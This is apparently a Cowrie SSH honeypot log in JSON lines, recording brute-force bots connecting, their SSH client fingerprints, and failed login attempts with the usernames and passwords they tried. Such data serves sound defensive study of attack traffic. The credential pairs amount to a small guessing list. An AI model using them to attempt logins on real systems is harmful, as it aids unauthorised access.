{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:19.496416Z","src_ip":"152.32.238.146","session":"e1b951014dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55644,"dst_ip":"159.203.135.109","dst_port":22,"session":"2091e5d53427","protocol":"ssh","message":"New connection: 80.94.92.186:55644 (159.203.135.109:22) [session: 2091e5d53427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:38.898057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:39.005903Z","src_ip":"80.94.92.186","session":"2091e5d53427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:39.126807Z","src_ip":"80.94.92.186","session":"2091e5d53427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:40.173791Z","src_ip":"80.94.92.186","session":"2091e5d53427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:41.306094Z","src_ip":"80.94.92.186","session":"2091e5d53427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49434,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6617c44af1b","protocol":"ssh","message":"New connection: 159.203.92.129:49434 (159.203.135.109:22) [session: c6617c44af1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:50.569285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:50.573949Z","src_ip":"159.203.92.129","session":"c6617c44af1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:50.578082Z","src_ip":"159.203.92.129","session":"c6617c44af1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"321","message":"login attempt [aaa/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:50.589134Z","src_ip":"159.203.92.129","session":"c6617c44af1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:51.597173Z","src_ip":"159.203.92.129","session":"c6617c44af1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":40622,"dst_ip":"159.203.135.109","dst_port":22,"session":"53bbc1810d49","protocol":"ssh","message":"New connection: 103.63.108.25:40622 (159.203.135.109:22) [session: 53bbc1810d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:58.689524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:58.697785Z","src_ip":"103.63.108.25","session":"53bbc1810d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:28:58.978988Z","src_ip":"103.63.108.25","session":"53bbc1810d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu1","password":"Ubuntu1","message":"login attempt [Ubuntu1/Ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:00.086865Z","src_ip":"103.63.108.25","session":"53bbc1810d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":37426,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f31b49f213","protocol":"ssh","message":"New connection: 152.32.238.146:37426 (10.17.0.5:22) [session: 76f31b49f213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:00.658416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:00.667408Z","src_ip":"152.32.238.146","session":"76f31b49f213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:00.674817Z","src_ip":"152.32.238.146","session":"76f31b49f213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sapca","message":"login attempt [admin/sapca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:00.770777Z","src_ip":"152.32.238.146","session":"76f31b49f213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:01.373895Z","src_ip":"103.63.108.25","session":"53bbc1810d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:01.784920Z","src_ip":"152.32.238.146","session":"76f31b49f213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42176,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f9b21ddd165","protocol":"ssh","message":"New connection: 159.203.92.129:42176 (159.203.135.109:22) [session: 3f9b21ddd165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:34.923559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:34.928531Z","src_ip":"159.203.92.129","session":"3f9b21ddd165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:34.933564Z","src_ip":"159.203.92.129","session":"3f9b21ddd165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"5434","message":"login attempt [aaa/5434] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:34.944807Z","src_ip":"159.203.92.129","session":"3f9b21ddd165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:35.954175Z","src_ip":"159.203.92.129","session":"3f9b21ddd165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":14758,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fbf043511fa","protocol":"ssh","message":"New connection: 2.57.121.112:14758 (10.17.0.5:22) [session: 4fbf043511fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:42.791170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:42.796058Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:42.891468Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1John","message":"login attempt [admin/1John] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:43.346085Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1hxboqg2s","message":"login attempt [admin/1hxboqg2s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:44.445375Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":41394,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a21a0e8520","protocol":"ssh","message":"New connection: 152.32.238.146:41394 (10.17.0.5:22) [session: 08a21a0e8520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:45.198002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:45.202851Z","src_ip":"152.32.238.146","session":"08a21a0e8520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:45.216267Z","src_ip":"152.32.238.146","session":"08a21a0e8520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql2022","message":"login attempt [mysql/mysql2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:45.295589Z","src_ip":"152.32.238.146","session":"08a21a0e8520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Horny","message":"login attempt [admin/1Horny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:45.546664Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:46.318108Z","src_ip":"152.32.238.146","session":"08a21a0e8520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Diamond","message":"login attempt [admin/1Diamond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:46.644562Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Bubba","message":"login attempt [admin/1Bubba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:47.745410Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:48.844415Z","src_ip":"2.57.121.112","session":"4fbf043511fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":34780,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3344df97fdf","protocol":"ssh","message":"New connection: 78.128.112.74:34780 (159.203.135.109:22) [session: e3344df97fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:50.342474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:50.350125Z","src_ip":"78.128.112.74","session":"e3344df97fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:29:50.473391Z","src_ip":"78.128.112.74","session":"e3344df97fdf","protocol":"ssh"}
